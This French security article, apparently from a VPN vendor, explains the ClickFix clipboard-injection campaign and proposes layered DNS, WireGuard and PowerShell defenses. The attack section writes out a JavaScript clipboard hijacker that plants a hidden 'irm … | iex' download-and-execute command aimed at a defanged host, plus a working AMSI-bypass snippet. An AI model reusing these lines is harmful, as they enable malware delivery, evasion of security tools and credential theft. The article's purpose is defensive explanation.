Les organisations cybercriminelles contemporaines délaissent progressivement les pièces jointes d'e-mails conventionnelles et l'exploitation directe des vulnérabilités de mémoire des navigateurs au profit de scénarios d'ingénierie sociale sophistiqués. Dans ce contexte, l'utilisateur devient lui-même le vecteur direct d'exécution du code. Parmi ces nouveaux vecteurs d'accès initial, la campagne ClickFix illustre une convergence particulièrement redoutable entre interfaces trompeuses, détournement d'outils système natifs (Living-off-the-Land - LotL) et distribution de charges utiles en cascade.

En manipulant le modèle d'objet de document (DOM) du navigateur sur des sites compromis, des régies publicitaires malveillantes ou des portails factices, ClickFix déploie des fenêtres interactives imitant des contrôles d'accès légitimes (tels que Cloudflare Turnstile), des alertes de sécurité ou des messages de réparation audio pour conférences web. Au lieu d'exécuter du code au sein du bac à sable isolé du navigateur, ClickFix persuade l'utilisateur de copier et d'exécuter lui-même un script obfusqué dans l'interpréteur de commandes de son système d'exploitation.

+-------------------------------------------------------------------------------+
|                    CHAÎNE D'ATTAQUE D'INGÉNIERIE SOCIALE CLICKFIX             |
+-------------------------------------------------------------------------------+
| 1. Site Web compromis / Régie publicitaire malveillante                       |
|    └─ Injection d'un modal : "Vérifiez que vous êtes humain (Turnstile)"      |
| 2. L'utilisateur clique sur "Copy Fix Code"                                   |
|    └─ API DOM : navigator.clipboard.writeText(base64_encoded_powershell)      |
| 3. Consigne d'ouvrir la boîte Exécuter : [Win + R]                            |
|    └─ Collage du script [Ctrl + V] et validation par [Entrée]                 |
| 4. Exécution système directe (Hors du bac à sable du navigateur)             |
|    └─ powershell.exe -w hidden -enc <payload>                                 |
| 5. Neutralisation d'AMSI en mémoire vive et téléchargement secondaire        |
|    └─ Récupération d'infostealers : Stealc / LummaStealer / Vidar             |
| 6. Collecte d'identifiants et exfiltration vers le serveur C2                 |
|    └─ Balises C2, extraction de bases SQLite, vol de portefeuilles crypto     |
+-------------------------------------------------------------------------------+

La neutralisation efficace d'un tel scénario hybride impose une stratégie articulée à la fois sur le système d'exploitation hôte et sur le réseau de transport sous-jacent.


Mécanismes techniques de l'injection par presse-papiers

L'interface déployée par les campagnes ClickFix a été spécifiquement conçue pour échapper aux analyses automatisées des navigateurs en s'abstenant de tout téléchargement de fichier classique. Les navigateurs modernes imposent des politiques strictes de réputation et de sécurité sur les fichiers binaires entrants. ClickFix s'affranchit de ces défenses en transférant la responsabilité de l'exécution au shell de la machine cible.

1. Manipulation du DOM et détournement du presse-papiers

Dès qu'un internaute accède à une page piégée, un script JavaScript génère dynamiquement un calque visuel reproduisant l'apparence d'un service reconnu. L'interface affiche des étapes d'apparence anodine :

  1. Cliquer sur le bouton « Verify » ou « Copy Fix » ;
  2. Utiliser le raccourci clavier Win + R sur le système Windows ;
  3. Effectuer un collage avec Ctrl + V puis appuyer sur Entrée.

En coulisses, le code JavaScript enregistre un gestionnaire d'événements déclenché par le clic de l'utilisateur :

// Gestionnaire de détournement du presse-papiers ClickFix
document.getElementById('verify-button').addEventListener('click', async () => {
  const obfuscatedCmd = 'powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Unrestricted -Command ' +
    '"[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; ' +
    'irm https://cdn-update-dist[.]xyz/patch.ps1 | iex"';
  
  try {
    await navigator.clipboard.writeText(obfuscatedCmd);
    console.debug('Script malveillant prêt dans le presse-papiers.');
  } catch (err) {
    // Méthode de secours pour navigateurs anciens
    const textArea = document.createElement('textarea');
    textArea.value = obfuscatedCmd;
    document.body.appendChild(textArea);
    textArea.select();
    document.execCommand('copy');
    document.body.removeChild(textArea);
  }
});

Puisque l'écriture dans le presse-papiers découle d'un geste délibéré de l'utilisateur, les règles de sécurité du navigateur autorisent l'appel à l'API navigator.clipboard.

2. Exploitation d'outils système natifs (Living-off-the-Land)

Une fois insérée dans la boîte de dialogue « Exécuter » (explorer.exe), la commande lance directement powershell.exe avec les privilèges de l'utilisateur connecté. La ligne de commande comporte plusieurs drapeaux d'évasion :

  • -WindowStyle Hidden (-w h) : Masque instantanément l'invite de commande afin que la victime ne remarque aucune ouverture de terminal.
  • -NoProfile (-nop) : Évite le chargement des scripts de profil PowerShell locaux, diminuant les traces sur disque et accélérant l'exécution.
  • -ExecutionPolicy Unrestricted (-ep unrestricted) : Neutralise les restrictions locales de politique d'exécution configurées dans le registre Windows.
  • Redirection d'Invoke-RestMethod (irm) vers Invoke-Expression (iex) : Télécharge le script distant directement en mémoire vive sans déposer de fichier .ps1 sur le disque dur.
Arborescence des processus sur l'hôte :
explorer.exe (Boîte de dialogue Exécuter)
  └── powershell.exe (Chargeur exécuté en mémoire RAM)
        ├── Patch mémoire : amsi.dll!AmsiScanBuffer -> renvoie S_OK
        └── Dépôt de processus fils -> conhost.exe / malware d'extraction

3. Neutralisation de l'interface AMSI en mémoire vive

Le script de premier niveau modifie la mémoire de la bibliothèque amsi.dll pour aveugler Windows Defender et les logiciels de sécurité avant de rapatrier le logiciel espion principal :

# Neutralisation en mémoire du tampon de détection AMSI
$AmsiRef = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$Field = $AmsiRef.GetField('amsiInitFailed', 'NonPublic,Static')
if ($Field) {
    $Field.SetValue($null, $true)
}

Une fois cette protection désactivée, le script télécharge des infostealers récents tels que LummaStealer, Stealc ou Vidar. Ces programmes extraient les cookies de session, les jetons WebAuthn, les mots de passe enregistrés dans les bases SQLite des navigateurs Chromium et Firefox, ainsi que les clés privées de portefeuilles de cryptomonnaies et de certificats SSH.


Chaîne d'attaque réseau et risques d'exfiltration

Si les agents de détection sur les postes de travail (EDR) améliorent continuellement leurs analyses comportementales, les concepteurs de malwares réécrivent et obfusquent régulièrement leurs chargeurs. En revanche, le programme malveillant ne peut achever sa mission sans communiquer à travers le réseau physique ou logique.

La chaîne ClickFix comporte deux points d'étranglement réseau majeurs :

  1. Phase de récupération du code : Le processus PowerShell doit impérativement résoudre un nom de domaine distant et négocier une session TLS pour télécharger le binaire de second niveau.
  2. Phase de commande et contrôle (C2) : Le voleur de données compresse les bases extraites et les expédie vers son serveur de contrôle via des requêtes HTTP POST, des API Telegram ou des sockets TCP directs.
Trajectoire des paquets malveillants :
[Machine compromise]
    │
    ├── (1) Requête DNS : cdn-update-dist[.]xyz
    │       └── Interceptée par le DNS récursif Anycast -> NXDOMAIN / Redirection vers sinkhole
    │
    ├── (2) Trafic TCP sortant (Ports 443 / 8443)
    │       └── Encapsulé dans le tunnel WireGuard de couche 3 -> Inspection par pare-feu
    │
    └── (3) Tentative de scan latéral LAN (SMB 445 / RDP 3389)
            └── Blocage total par isolation de sous-réseau et cloisonnement client

Si l'hôte utilise le résolveur DNS par défaut de son fournisseur d'accès ou ne dispose d'aucun filtrage strict des flux sortants, la charge utile se télécharge sans encombre et les identifiants dérobés quittent le réseau sans alerte.


Architecture de défense réseau multicouche

Une protection robuste face à ClickFix nécessite d'associer des politiques d'exécution système rigides à un tunnel réseau chiffré et à des résolveurs DNS récursifs protecteurs.

+-------------------------------------------------------------------------------+
|                    ARCHITECTURE DE DÉFENSE MULTICOUCHE CLICKFIX               |
+-------------------------------------------------------------------------------+
| Couche 1 : Résolveur Anycast DNS protecteur (Infrastructure VPN)              |
| ├─ Neutralisation des domaines malveillants via le renseignement sur les menaces|
| ├─ Rupture de la chaîne d'infection avant toute négociation TCP               |
| └─ Élimination des fuites DNS via l'interface du tunnel WireGuard             |
+-------------------------------------------------------------------------------+
| Couche 2 : Tunnel chiffré WireGuard de couche 3                               |
| ├─ Cloisonnement évitant la propagation latérale via SMB sur le réseau local  |
| ├─ Mécanisme d'arrêt d'urgence (Kill-switch) interdisant tout flux non chiffré|
| └─ Détection des volumes de sortie asymétriques pour alerter sur l'exfiltration|
+-------------------------------------------------------------------------------+
| Couche 3 : Durcissement des politiques du système d'exploitation             |
| ├─ Déploiement d'AppLocker et de Windows Defender Application Control (WDAC)  |
| ├─ Activation du mode linguistique contraint de PowerShell (ConstrainedMode)  |
| └─ Journalisation exhaustive des blocs de script (Event ID 4104)              |
+-------------------------------------------------------------------------------+

1. Filtrage récursif et neutralisation par DNS Anycast

Les réseaux de distribution de ClickFix s'appuient massivement sur des domaines récemment enregistrés (NRD) ou sur des services DNS dynamiques à rotation rapide.

Lorsqu'un terminal achemine ses flux via l'infrastructure Anycast de VPNRice, les requêtes DNS récursives sont évaluées en direct face aux bases de renseignement sur les cybermenaces. Dès qu'une commande ClickFix tente de contacter un domaine malveillant, la chaîne est rompue :

  • Le nom de domaine reçoit une réponse factice sinkhole (0.0.0.0) ou une erreur NXDOMAIN.
  • L'instruction PowerShell Invoke-RestMethod échoue sur-le-champ avec une exception WebException.
  • Aucun binaire n'est chargé en mémoire, préservant l'intégrité de la machine même après validation de la commande par l'utilisateur.

2. Tunnelisation WireGuard de couche 3 et isolation du réseau local

Les chevaux de Troie d'extraction tentent fréquemment de se propager aux postes adjacents en exploitant les protocoles SMB (port 445) ou les faiblesses d'authentification NTLM.

L'acheminement de l'ensemble du trafic sortant à travers une interface WireGuard garantit un cloisonnement strict :

  • Confinement du sous-réseau : Le trafic sortant est restreint à l'adaptateur virtuel (wg0). Les flux de diffusion et les connexions vers les plages privées RFC 1918 (192.168.0.0/16, 10.0.0.0/8, 172.16.0.0/12) peuvent être systématiquement rejetés.
  • Chiffrement de bout en bout : Les paquets sont chiffrés à l'aide de l'algorithme ChaCha20-Poly1305, rendant vaine toute interception sur un réseau Wi-Fi public ou un commutateur local compromis.

Exemple de script de filtrage pour une passerelle ou une station Linux :

#!/usr/bin/env bash
# Règles de filtrage sortant et d'isolation LAN pour client WireGuard

WG_IF="wg0"
LOCAL_LAN="192.168.1.0/24"

# Politique par défaut de rejet des transferts
iptables -P FORWARD DROP

# Réinitialisation des tables existantes
iptables -F
iptables -X

# Autorisation des flux déjà établis
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Blocage de la propagation latérale vers le LAN (SMB, RDP, NetBIOS)
iptables -A OUTPUT -d "$LOCAL_LAN" -p tcp -m multiport --dports 135,139,445,3389 -j DROP
iptables -A OUTPUT -d "$LOCAL_LAN" -p udp -m multiport --dports 137,138 -j DROP

# Redirection forcée de tout le trafic DNS vers le résolveur Anycast WireGuard
iptables -t nat -A OUTPUT -p udp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -p tcp --dport 53 -j REJECT --reject-with tcp-reset

echo "Politiques de sécurité du périmètre réseau appliquées avec succès."

Bonnes pratiques de configuration du système d'exploitation

Au-delà des contrôles réseau, restreindre les capacités d'exécution des scripts non approuvés sur Windows neutralise la faille d'origine.

1. Application du mode Constrained Language dans PowerShell

Par défaut, PowerShell fonctionne en mode FullLanguage pour les utilisateurs locaux, accordant l'accès aux mécanismes de réflexion .NET et aux API système de bas niveau. L'activation du mode ConstrainedLanguage interdit ces appels non sécurisés :

# Définition du mode ConstrainedLanguage au niveau du système hôte
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')

Dans cet état, toute tentative de modification de la mémoire de détection AMSI déclenche immédiatement une erreur d'autorisation et interrompt le script.

2. Activation de la journalisation approfondie ScriptBlock

Pour offrir aux équipes de sécurité la visibilité nécessaire à l'investigation des commandes injectées, activez la journalisation des blocs de script :

  • Chemin de registre : HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
  • Valeur : EnableScriptBlockLogging = 1

Les journaux système consigneront l'intégralité du code exécuté sous le code Event ID 4104, permettant d'analyser la charge utile même si celle-ci a été dissimulée sous un encodage Base64.


Vérification et simulation contrôlée des menaces

Afin de contrôler la résistance de votre périmètre réseau sans exposer la machine à un risque réel, lancez une requête de test contrôlée via PowerShell :

# Test de validation de la neutralisation réseau
try {
    $TestHost = "malware-sinkhole-test.vpnrice.internal"
    Write-Host "[*] Résolution du domaine de simulation : $TestHost"
    $Resolution = Resolve-DnsName -Name $TestHost -ErrorAction Stop
    Write-Host "[+] Adresse IP résolue : $($Resolution.IPAddress)"
    
    # Tentative d'appel distant
    Invoke-RestMethod -Uri "https://$TestHost/probe" -TimeoutSec 5
} catch [System.Net.WebException] {
    Write-Host "[SUCCÈS] Le périmètre réseau a bloqué le téléchargement distant." -ForegroundColor Green
} catch {
    Write-Host "[INFORMATION] Résolution DNS rejetée par le filtre de sécurité : $_" -ForegroundColor Green
}

Lorsque le résolveur DNS et le pare-feu fonctionnent correctement, l'exécution s'interrompt avant l'ouverture de la connexion TCP, préservant la mémoire de la machine.


Conclusion

L'essor des attaques ClickFix marque une transition tactique majeure : la manipulation du comportement de l'utilisateur permet d'échapper au confinement du bac à sable du navigateur. Se reposer exclusivement sur la vigilance humaine ou sur des signatures antivirus locales s'avère insuffisant.

L'association d'une isolation réseau de couche 3 avec WireGuard, du blocage récursif des domaines hostiles par DNS Anycast et du verrouillage de PowerShell en mode Constrained Language offre une défense en profondeur particulièrement étanche. Même lorsqu'une commande malveillante est exécutée par erreur dans la console, la barrière réseau coupe les communications C2 et désactive l'attaque à la racine.